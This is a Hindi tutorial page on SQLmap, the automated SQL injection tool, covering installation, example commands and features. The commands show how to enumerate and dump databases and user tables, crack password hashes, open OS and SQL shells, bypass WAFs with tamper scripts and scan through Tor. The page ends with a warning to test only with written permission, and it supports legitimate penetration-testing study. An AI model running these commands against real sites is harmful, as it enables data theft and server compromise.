🗄️ SQLmap - Automated SQL Injection Tool
🗄️ SQL Injection 💾 Database Hacking 🐍 Python
Category: 2️⃣ Vulnerability Analysis
📝 Description
SQLmap दुनिया का सबसे पॉपुलर ऑटोमेटेड SQL इंजेक्शन टूल है। यह Python में लिखा गया है और SQL इंजेक्शन वल्नरेबिलिटी को डिटेक्ट और एक्सप्लॉइट करने के लिए उपयोग किया जाता है। SQLmap MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, और 10+ अन्य डेटाबेस को सपोर्ट करता है। यह डेटाबेस की जानकारी, टेबल्स, कॉलम्स, डेटा चुरा सकता है, और यहां तक कि डेटाबेस शेल भी प्राप्त कर सकता है।
विशेषता: SQLmap पूरी तरह से ऑटोमेटेड है - यह SQL इंजेक्शन को डिटेक्ट करने से लेकर पूरा डेटाबेस डाउनलोड करने तक सब कुछ कर सकता है। यह GET, POST, COOKIE, HEADER, और यूएजेंट पैरामीटर्स पर SQL इंजेक्शन टेस्ट कर सकता है।
📦 Installation
Kali Linux (पहले से इंस्टॉल):
sqlmap -h
Ubuntu/Debian:
sudo apt update sudo apt install sqlmap -y
GitHub से इंस्टॉल:
git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap python3 sqlmap.py -h
macOS (Homebrew):
brew install sqlmap
Python pip से:
pip3 install sqlmap
💻 Common Commands (उदाहरण सहित)
📌 SQLmap की सबसे खास बात है इसकी ऑटोमेशन। नीचे सभी महत्वपूर्ण कमांड्स दिए गए हैं:
🔹 1. बेसिक SQL इंजेक्शन टेस्ट - GET पैरामीटर:
sqlmap -u "http://target.com/page.php?id=1"
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" से artist पैरामीटर पर SQL इंजेक्शन टेस्ट करता है।🔹 2. POST डेटा पर SQL इंजेक्शन टेस्ट:
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123"
🔹 3. COOKIE के साथ SQL इंजेक्शन टेस्ट:
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
🔹 4. डेटाबेस की लिस्ट देखना:
sqlmap -u "http://target.com/page.php?id=1" --dbs
🔹 5. करंट डेटाबेस का नाम देखना:
sqlmap -u "http://target.com/page.php?id=1" --current-db
🔹 6. डेटाबेस की सभी टेबल्स देखना:
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D test_db --tables से test_db की सभी टेबल्स दिखाता है।🔹 7. टेबल की सभी कॉलम्स देखना:
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target.com/page.php?id=1" -D test_db -T users --columns से users टेबल के सभी कॉलम्स दिखाता है (id, username, password, email)।🔹 8. टेबल का सारा डेटा डाउनलोड करना:
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
sqlmap -u "http://target.com/page.php?id=1" -D test_db -T users --dump से users टेबल के सभी रिकॉर्ड्स डाउनलोड करता है (यूजरनेम और पासवर्ड)।🔹 9. पासवर्ड हैश क्रैक करना (--dump के साथ):
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --passwords
🔹 10. OS Shell प्राप्त करना (यदि DBA प्रिविलेज हैं):
sqlmap -u "http://target.com/page.php?id=1" --os-shell
🔹 11. SQL Shell प्राप्त करना:
sqlmap -u "http://target.com/page.php?id=1" --sql-shell
🔹 12. रिक्वेस्ट डिले (थ्रॉटल) सेट करना:
sqlmap -u "http://target.com/page.php?id=1" --delay=2
🔹 13. टॉर्क (Tor) के माध्यम से स्कैन:
sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5
🔹 14. प्रॉक्सी के माध्यम से स्कैन:
sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
🔹 15. रिजल्ट को फाइल में सेव करना:
sqlmap -u "http://target.com/page.php?id=1" --batch --output-dir=/tmp/sqlmap_results
🔹 16. रैंडम यूजर-एजेंट के साथ स्कैन:
sqlmap -u "http://target.com/page.php?id=1" --random-agent
🔹 17. सभी डेटाबेस का पूरा डंप (ऑल इन वन):
sqlmap -u "http://target.com/page.php?id=1" --dump-all
🎯 SQLmap के SQL इंजेक्शन टेक्निक्स:
- Boolean-based Blind: सही/गलत के आधार पर डेटा निकालना
- Time-based Blind: टाइम डिले के आधार पर डेटा निकालना
- Error-based: डेटाबेस एरर से डेटा निकालना
- Union Query: UNION स्टेटमेंट से डेटा निकालना
- Stacked Queries: एक से ज्यादा क्वेरी एक साथ चलाना
- Out-of-band: DNS या HTTP के माध्यम से डेटा निकालना
🎯 Use Cases (उपयोग के तरीके)
- पेनिट्रेशन टेस्टिंग: वेब एप्लीकेशन में SQL इंजेक्शन वल्नरेबिलिटी ढूँढना और एक्सप्लॉइट करना।
- बग बाउंटी: टारगेट वेबसाइट पर SQL इंजेक्शन ढूँढना और डेटाबेस डेटा निकालना।
- डेटाबेस सिक्योरिटी ऑडिट: डेटाबेस कनेक्शन और SQL क्वेरी की सुरक्षा चेक करना।
- WAF बायपास: SQLmap के टैम्पर स्क्रिप्ट्स से WAF को बायपास करना।
- फॉरेंसिक जांच: डेटा ब्रीच के बाद डेटाबेस का फोरेंसिक एनालिसिस।
⚙️ Key Features (मुख्य विशेषताएँ)
- ✔️ 10+ डेटाबेस सपोर्ट (MySQL, Oracle, PostgreSQL, MSSQL, SQLite, etc.)
- ✔️ 6 SQL इंजेक्शन टेक्निक्स (Boolean, Time, Error, Union, Stacked, Out-of-band)
- ✔️ ऑटोमेटेड डेटाबेस एन्यूमरेशन (डेटाबेस, टेबल्स, कॉलम्स, डेटा)
- ✔️ पासवर्ड हैश क्रैकिंग
- ✔️ OS Shell और SQL Shell एक्सेस
- ✔️ WAF डिटेक्शन और बायपास (100+ टैम्पर स्क्रिप्ट्स)
- ✔️ Tor और प्रॉक्सी सपोर्ट
- ✔️ रैंडम यूजर-एजेंट
- ✔️ रिक्वेस्ट थ्रॉटल (Delay)
- ✔️ कुकी, हेडर, यूजर-एजेंट पर SQL इंजेक्शन टेस्ट
- ✔️ बैच मोड (--batch) - बिना इंटरैक्शन के चलाना
- ✔️ रिजल्ट फाइल में सेव करना
📌 SQLmap के टैम्पर स्क्रिप्ट्स (WAF बायपास):
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,apostrophemask
सामान्य टैम्पर स्क्रिप्ट्स: space2comment, between, modsecurityversioned, charencode, charunicodeencode, apostrophemask, etc.
📌 SQLmap के लेवल और रिस्क:
- --level: 1-5 (जितना ज्यादा, उतने ज्यादा पैरामीटर्स टेस्ट होते हैं)
- --risk: 1-3 (जितना ज्यादा, उतने खतरनाक पेलोड्स टेस्ट होते हैं)
- उदाहरण:
sqlmap -u "url" --level=5 --risk=3(सबसे एग्रेसिव मोड)
🔗 Official Resources
- Official Website: https://sqlmap.org
- GitHub Repository: https://github.com/sqlmapproject/sqlmap
- Documentation: SQLmap Wiki
- Tamper Scripts: SQLmap Tamper Scripts
🔧 Related Tools (समान उपकरण)
- OWASP ZAP: SQL इंजेक्शन सहित कई वल्नरेबिलिटीज स्कैन करता है
- Burp Suite: SQL इंजेक्शन टेस्टिंग के लिए Intruder और Scanner
- Havij: ग्राफिकल SQL इंजेक्शन टूल (Windows)
- jSQL Injection: Java आधारित SQL इंजेक्शन टूल
- NoSQLMap: NoSQL डेटाबेस (MongoDB) के लिए इंजेक्शन टूल
📌 SQLmap के लिए जरूरी सावधानियाँ:
- --dump-all कमांड से सारा डेटा डाउनलोड हो सकता है
- --os-shell से सर्वर पर पूरा कंट्रोल मिल सकता है
- --level=5 --risk=3 से बहुत सारे पेलोड्स भेजे जाते हैं जो सर्वर को क्रैश कर सकते हैं
- प्रोडक्शन सर्वर पर हमेशा सावधानी से उपयोग करें
⚠️ Important Note (सावधानी)
SQLmap एक बेहद शक्तिशाली टूल है जो डेटाबेस से पूरा डेटा चुरा सकता है, टेबल्स डिलीट कर सकता है, और यहां तक कि सर्वर पर शेल भी प्राप्त कर सकता है। इसका उपयोग केवल उन्हीं वेबसाइट्स पर करें जिनकी आपको लिखित अनुमति हो। बिना अनुमति के SQL इंजेक्शन एक्सप्लॉइट करना कानूनी अपराध है और इसके गंभीर परिणाम हो सकते हैं। हमेशा अपने खुद के वेब एप्लीकेशन या बग बाउंटी प्रोग्राम पर ही प्रैक्टिस करें।